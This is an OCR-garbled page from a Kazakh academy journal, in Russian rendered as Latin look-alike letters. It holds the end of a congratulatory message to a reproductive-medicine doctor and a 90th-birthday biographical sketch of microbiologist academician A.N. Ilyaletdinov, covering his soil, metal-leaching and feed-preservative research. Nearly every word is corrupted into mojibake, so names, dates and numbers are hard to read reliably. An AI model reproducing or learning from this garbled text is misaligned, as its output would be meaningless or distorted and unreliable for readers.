IyKTUBHOM MeauiuHbl. Bamu noarorosiens! 4 kanauaata 1 1 JOKTOp MEAUUMHCKUX HayK, Bl co3ganu B
Kazaxcrane mikosy npakTHUECKUX Bpadel, padOoTaroIIMX B 00JIACTH PEHPOIyKTUBHOW MEIUIIUHBI.

ITox Bammum pyKOBOJICTBOM pealii30BaHO HEMajO0 HOBATOPCKUX Jel. Baia BbICOKash BHYTPEHHSIS
KyJbTypa, MpodeCcCHOHANN3M, IMUPOTa HAYYHBIX HMHTEPECOB, JEMOKPAaTH3M, T'YMaHHOE OTHOIICHHE K
KoJuieraMm OyAyT CITy>KHUTh IIPUMEPOM JUTS KaKIOT0, KTO 3HaeT Bac.

YBaxkaembrii BsuecnaB HortanoBuu! B nens Bamiero ciaBHoro ro0wmiiest skemaeM Bam Kpemkoro
3II0POBBS. U CYACThS, BCETO HaWIydiiero Bammm pomaHbIM U OJIM3KUM, OJaromoiyduss ¥ TBOPYECKOTO
JTOJNITOJIETHSI, SHEPTUU M CHIT Ha JIOJITHE TOJIBI!

Ipe3uouym HAH PK
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KPATKH OYEPK HAYYHOMH, NEJATOTHYECKOM
1 OBIIECTBEHHOM JEATEJbHOCTU AKAJTEMUKA
HAIIMOHAJIBHOM AKAJIEMUH HAYK
PECHYBJINKHN KA3BAXCTAH

A. H. LVIAJIETANHOBA

B suBape 2019 r. ucnonusiercst 90 jet co THS pOXICHHS U 55 JIeT HAYYHOH M OOIIECTBEHHOM Jiesi-
TEeTHLHOCTH akageMmuka HarmmoHampHol akamemun Hayk PK, moxropa Omosormueckmx Hayk, mpodeccopa,
3aciy>keHHOTo zesarens Haykun PK, kpymHoro ydeHoro-mumkpoOuoinora Anbgapuaa Huzamopuua Mns-
JIETINHOBA.

A. H. UnsanetnunoB ponuics 16 suBapa 1929 r. Ha cranuuu bem-Appik SHBIKypraHckoro paioHa
K3pu1-OpauHcKoi 0051acTH B CEMBE YUUTEIIS.

B 1946 r. mocie oxoHYaHHs CPEIHEHN MIKOJIBI OH MOCTYNWJI HAa OMomormdeckuil dakymprer Moc-
KOBCKOI'0 TrOCyJapCTBEHHOTro yHuBepcuteTa uM. M.B. JlomoHOCOBa, KOTOpPBIH C OTIIMYMEM 3aKOHUMII B
1951 r. [To oxonuanuu MI'Y A.H. UnsutetanHOB ObLI OCTaBJIEH B acIUpPaHType Npu Kadeape MHKpO-
OMOJIOTHH, KOTOPYIO YCIIEIIHO 3aKOHYMJII 107 pyKoBoacTBoM akagemuka B.H. HlamomHukosa B 1954 1. ¢
3amuUTON KaHAWAaTckod muccepranmuu. B 1954—-1958 rr. paboran B HHctutyre mouBoBenmeHust AH
Ka3CCP crauana miammmmM, 3aTeM CTapIIuM HaydHBIM coTpyaHukoM. B 1958 r. A.H. UnsanernuHoB
n30mpasncs Mo KOHKYpCYy Ha JOJDKHOCTh PYKOBOAMTENS JIabopaTopuu OOILIed MHKpOOMOJIOTWH, 3aTeM
nmabopaTopuu SKOIOTHH MUKpoopranm3mMoB MHcTuTyTa MukpoOuonorun u Bupyconorun AH KasCCP. B
1966 t. A.H. UnaneTnuHOB 3alTUTIUI AWCCEPTAITAI0 HAa COMCKAHHWE YUYCHOH CTENeHU ITOKTOpa OHMOJIo-
THYECKUX HayK, ¢ 3Toro roga ao 1995 roga paboran nupexropoM MHCTHTyTa MHUKpPOOHMOJIIOTHH U BUPY-
conoruu AH Ka3zCCP.

Unsmernuaos A.H. ycnemrHo coBmernan paboty B IHCTHTYTE ¢ IpenoAaBaTeIbCKON AEATENbHOCTHIO
B Kazaxckom HanmonansHoM Arpapaom yHuepcutere MOH PK.

B 1968 r. A.-H. UnanerauHoBy ObUIO MPHCBOEHO 3BaHKE Mpodeccopa, a B 1970 1. oH ObLT M30paH
uneHoM-koppecniongeaToM AH KasCCP. B 1971 r. emy ObI10 MPUCBOEHO 3BaHUE 3aCITYKEHHOTO JESTENs
Hayku KazCCP. B 1983 r. A.H. UnanernuaoB Obur m30pan akagemmkoM AH Ka3zCCP, akamemumkom-

—— 054 ——



ISSN 1991-3494 Ne 6. 2018

cekperapem OrtneneHust Omonorndeckux Hayk u wieHoMm mnpesuaunyma AH KazCCP. MuoronetHss
TUIOZAOTBOpHAs HAayYHas, Temarormdeckas M oOmecTBeHHas AestenbHocTs A.H. WnmsnermwHoBa, ero
3aClyTH B Pa3BUTHH OWOJOTMYECKOM HAyKM M IOATOTOBKE KaJIpoB, OBUIM OTMEYEHBI HarpajaMu —
[NouetHoti rpamoToii [Ipesunuyma Bepxosroro Cosera Kazaxckoit CCP (1979), opnenom "3Hak noyera"
(1981) m memaneio "Actana" (1998).

OcHOBHBIC HaIlpaBJICHHWS] HAay4YHBIX HcciaemoBannid A.H. WnsanermuHoBa ObUTH COCPEIOTOYCHBI HA
pa3paboTKe CIEeOYIOUIMX HAayYHBIX TEMaTHK: pOJb MHUKPOOPIaHHU3MOB B KPYTOBOPOTE OPraHMYECKHX H
MUHEpaJbHBIX BEIIECTB B TPUPOJE; HCIOIB30BAHUE JESATEIFHOCTH MHKPOOPTaHU3MOB B KOPMO-
MIPOM3BOACTBE, IKOJIOTHS MEKPOOPTaHU3MOB.

WM onyOnuxoBano 220 Hay4yHBIX paboT, B TOM uucie 4 MoHorpaduu, momydyeHo 28 aBTOPCKUX
ceunerensctB CCCP u nmatentos PK.

Omy6nmmkoBaHHbIe B 60-X TT. cTaThil M MOHOTpadus «buoorndeckas MOOHIHU3AHUS MUHEPATBHBIX
coequHeHn» (1966) MOCBAIIECHBI BBISCHEHHIO POJM MHKPOOPTaHW3MOB B (POPMHUPOBAHHUM ILIOAOPOIHS
MOYB, HAKOIUICHHU PAacTBOPHMOTO, JOCTYIHOTo A pacTeHuil ¢ocdopa B mouse. A.H. Wnsneraunos
OIHUM W3 TIEPBBIX COBETCKHX ITOYBEHHBIX MHKPOOHOJIOTOB BBICTYNHJ MPOTHB WU HCIOJIB30BAHUS
YUCTHIX KYJBTYP MHUKPOOPTaHH3MOB B KadeCTBE OCHOBHI 3€MJICYJOOPHUTENBHBIX IMPENapaToB M Pas3BIII
MOJIOKEHUE O HEOOXOAUMOCTH CO3JaHus OJIArONPHUSITHBIX YCIOBUH ISl )KU3HEACATEILHOCTH CIIOHTAaHHOM
MUKPO(]IIOPHI ITOYBHI, MHHEPAIM3YIOIICH OpraHNYecKre BEIIecTBa U, TAaKUM 00pa3oM, B (hOpMHUPOBaHUHU
MMOYBEHHOTO TUIOAOPOIHSL.

B monorpadguu «MUKpOOHOJOTHUECKHUE TMPEBPAICHUS a30TCOJACPKAIIUX COCIUHCHHNA B IOYBEY
(1976) ocBemieHO COBpeMEHHOE COCTOSIHHE BOIpoca 00 OCHOBHBIX Mpoleccax TpaHchopMmanuu azora
(aMMoHMpUKaIWS, HUTpU(DUKALNS, IMMOOMIH3AINs, TeHUTPUGHUKAIA) B TouBe. Ha ocHOBe 3kcmepu-
MeHTaNbHBIX pador A.H. WisnmeTnquHOB yCTaHOBWIJI, YTO MYTEM 3aMEJICHUS TEMIIOB IPOLIECCOB MHHE-
panu3alud OpraHWYecKOro BEIIeCTBa M MMMOOWIM3AIMHM a30Ta MOXHO COXPaHHTh OT IOTEeph 3Ha-
YUTEIbHBIE KOJIMYECTBA MOYBEHHOIO yTriepona M a3oTa. Pa3paboTaHHBI Ha OCHOBE ATOTO MOJIOKEHUS
Croco0 JOMOCEBHOTO 3aTOIUIEHUSI PHUCOBOTO IONS OOECTeunsT MOBBIIICHNE YpoXkasl prica B CpEIHEM Ha
20%. B 1988 r. sTa kHuMra Obula TNepeu3/iaHa Ha aHTJIUHCKOM s3bIKe B MOCKOBCKOM H3JaTEIIbCTBE
«Hayxkay.

ITox pyxoBomctBom A.H. UnsnernuaoBa B Kaszaxcrane ychemrHoe pa3BUTHE IOMyYHIIa TEOJIO-
rudeckass Mukpoouonorus. A.H. VnsieTnnHOBBIM U ero yueHHKaMu ObUIM pa3paboTaHbl cocoOBl Oak-
TEpPUAJIBHOTO BBIIIENAYMBAHUS MM, IIMHKA, CBHHIA M3 DPYyJ M MBIIIbIKAa M3 30JI0TOCOJEPKAIINX
KOHIIeHTpaToB. [IpakTHueckas peaiusamus 3THX HCCICIOBaHWN MMeNla Ba)KHOE HApOJHOXO3SHCTBEHHOE
3HaYeHHE.

B 70-e rr. A.H. NnsaneTauHoB pa3Buil HOBOE HANpaBJIEHUE — UCIOJIb30BAaHUE JEATEIbHOCTH MHUKPO-
OpPraHU3MOB Ul OYUCTKH TPOMBIIUICHHBIX CTOYHBIX BOJI OT MOHOB TSDKENBIX METAJUIOB M IIMaHHUJIOB, a
TaKXe OT TAaKUX OPraHMYECKHUX 3arpsi3HUTENEeH Kak O-METHJICTHPOJ M KPOTOHOBBIM albIETHI B CTOKAaX
MPEINPUATAN TI0 TIPOM3BOJCTBY CHHTETHYECKOrO Kaydyka. B pamkax HJaHHOTO HarpaBlIeHUS OBLTH
paspaboraHbl 3¢ (GEeKTHBHBIE OWOTEXHOJIOTHYECKHE METONBI OYHUCTKH TPOMBINIICHHBIX CTOKOB OT
Pa3InYHBIX TOKCHYECKUX BEIECTB, KOTOPHIE UCIIOJIB30BATUCH NPEANPUATHIMA HEPTIHONH U XUMUYECKOM
MPOMBIIIUIEHHOCTH, a TaK)Ke [[BETHOW METAILTYPTHH, B TEXHOJIOTHIECKOM Tporiecce. JlaHHOe HalpaBlIeHUE
pa3pabaThIBaIOCh B KOMIUIEKCE C HCCIIEAOBAHISIMY, IIPOBOIUMBIMHU B CTpaHax — wieHax COB.

A.H. NnaneTnvHOB C COTPYIHHKAMH HCCIIEAOBal MEXaHU3Mbl OKHCICHHS TMepeMEHHO-BAIEHTHBIX
3IIEMEHTOB TeTePOTPOPHBIMU MHUKpOoOpraHu3Mamu. [lompoOHO H3ydeHa Tpylma apceHHUTOKUCISIOIINX
OaxTepuii, yCTaHOBIIEHA peIIaloIIasl PoJb THAPONEPEKHCell HEHACHIIICHHBIX JKHPHBIX KHUCIOT B OKHC-
JICHUM TIepEeMEHHO-BAJIEHTHBIX 3eMeHTOB. OTKpBITHI HOBBIE CBOWCTBa (haKyJIbTaTHBHO-aHAIPOOHBIX
OakTepuli, COCOOHBIX MOCIEAOBATEILHO BOCCTAHABIMBATH HECKOJIBKO aKLENTOPOB AJIEKTPOHOB (KHC-
JIOpPOJI, HUTPATHI, ISITUBAJICHTHBIN MBIIBSIK, TPEXBAJICHTHOE JKeJe30, cynbdarer). Pe3ynpraTel 3THX padoT,
KOTOpBIE TPEACTABISIOT OOJNBINIOW HHTEpec I (QyHIaMEHTATBHOW MHKPOOHOJIOTHH, OO0OOIIECHBI B
MoHorpaduu « MUKpOOHOTIOTHUYECKHE TIPEBpaIleHUs MeTayuIoBy (1984).

[Mox pyxoBoacteom A.H. WnsimeTnnHOBa pOBOIMIIMCE HCCIIEIOBAHMS IO CO3JJaHUIO U BHEJPEHUIO B
MPAKTHKY HOBBIX OMOKOHCEPBAHTOB PACTUTENHHBIX KOPMOB M TEXHOJOTHH WX IPOM3BOJICTBA, a TaKKeE
Croco00B BHIpAITMBAHUS KOPMOBBIX JAPOKKEH B YCIOBHUAX KHUBOTHOBOJAUYECKHUX XO3AHCTB, YTO MO3BOJIUIIO
CYLICCTBEHHO YIYYIINTh KAueCTBO KOPMOB M TMOBBICHUTH MNPOXYKTHBHOCTH CEJIHCKOXO3SHCTBEHHBIX
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JKUBOTHBIX. /|aHHBIE MCCIeIOBaHMS TIONYYWIN TIPU3HAHUE HE TOJNBKO B HAIlEH CTpaHe, HO U 3a pyOexoM
(Yexocnosakust, Monronus, Bearpus, Kutait u np.). IlponsBomctBo 6nokoncepBanTta «Kazaxcmm» ObLIO
OpraHWU30BaHO HA MPEANPHUATHIX MHKPOOHMOJIIOTHUECKONW MpoMbInuieHHOCTH: KueBckmii 3aBon OakTe-
puanbHbIX TpenaparoB, CremHoropckuii 3aBoj «IIporpeccy, BriiHeBooKH 3aBoA (HEPMEHTHBIX Tpe-
naparoB, bepackuii xumudeckuid 3aBoj, TypKecTaHCKHH 3aBOJi KOPMOBBIX aHTHOMOTHKOB. [Ipemapat
HaIIIeJ IMUPOKOoe IpUMEHEHNe B KopMonpou3BocTBe Kazaxcrana, Poccun, Kuprusuu. beura paspadorana
MPOTPECCUBHASI TEXHOJIOTHUS MPOU3BOJICTBA MUKPOOHOJIOTUYECKOTO MpenapaTa JJisi CHIOCOBAHUS COIOMBI
Ha OCHOBE CMECH IICJUTFOJIO30JUTHYECKAX M MOJIOYHOKHCIBIX OaKTepHil, CO3MaHbl KOPMOBEIE JTOOAaBKU
O0eHTO0aK M 0AKTOIIEOIUT HAa OCHOBE MPOITMOHOBOKHUCIIBIX U IEJUTFOIO30JIMTHYECKUX OaKTepHil U JoKa3aHa
UX BBICOKas 3(PQPEKTUBHOCTh Ha IBIIUIATAX, TeAATax W mopocsarax. ChopmyaupoBanHbie MenerauHo-
BbIM A.H. HampaBlieHUs HCCIEAOBaHUM PAa3BUBAIOTCS U B HACTOSAIIEE BPEMS €r0 YUCHUKAMU JJIs CO3[aHuUs
OaxTepHaNbHBIX IPETIapaToB IS CETHCKOTO XO03S5IICTBA M OXPaHBI OKPYIKAIOIIEH CpeIbl.

Mmuoro cun u BauManus A.H. VnaneTAnHOB yAeNsa MOArOTOBKE HAYYHBIX KaapoB. Jlonrue rombl
A.H. NnsaneTnuHoOB BO3IUIABISI CHEIMATU3UPOBAHHBIN COBET MO 3aIUTE KAHAMJIATCKUX U JTOKTOPCKUX
JUccepTanmii, ObUI TIIaBHBIM penakTopoM xypHana «U3Bectus AH Kaz.CCP», cep. Omomormdeckas,
SIBJISIICS “WICHOM PEIaKIIMOHHOTO coBeTa )XypHanoB «Bectank HAH PK» n «Mukpo6uomorus» (Mocksa).

ITon pyxoBoacteom A. H. WMnsmerauHoBa 3ammineHo 39 KaHAUAATCKUX auccepranuii u 13 moxTop-
CKHX JIUCCEpTaluii, MOATOTOBICHBI JECATKA IUILUIOMHBIX paboT, €ro YYeHWKH YCIEIIHO TPYISITCS B
BEIYIINX HAYYHBIX U Tlefarormdeckux neHTpax Kazaxcrana.

Ansdapun HuzamoBud Bcerja OCTaBaJICS YETOBEKOM BBICOKON WHTEIUTUTCHTHOCTA M TAKTUYHOCTH,
KOTOPBIA OJMHAKOBO YYTKO OTHOCWJICS M K JJAOOpaHTy M K MacTUTOMY yueHoMmy. Kak mupektop wH-
cruryta A.H. UnsanetauHOB cTpeMuics co3/laTh TBOPUYECKYIO aTMocdepy B KOJJIEKTHBE, CTapalics IMOJ-
JiepKaTh J1I000e HOBOE HaIlpaBlieHHE, TTOMOYb KaXJIOoMy creruanucty. [Ipu aToM oH octaBasics Tpebo-
BaTEJIbHBIM U OECKOMITPOMHUCCHBIM YYCHBIM, MHEHUE KOTOPOTO BCET/a OBLIO KpailHe aBTOPUTECTHBIM.

Bricokast spyaunus, NPUHIMIHAAIBHOCT, A00pOKEIaTeIhbHOE OTHOIICHHE K IOJSM CHHUCKAaIH
akagemuky HAH PK A .H. UnaneTauHoBY 3acily’KE€HHOE YBaKEHHE B HAYYHOM MUDE.

Ipesuouym HAH PK
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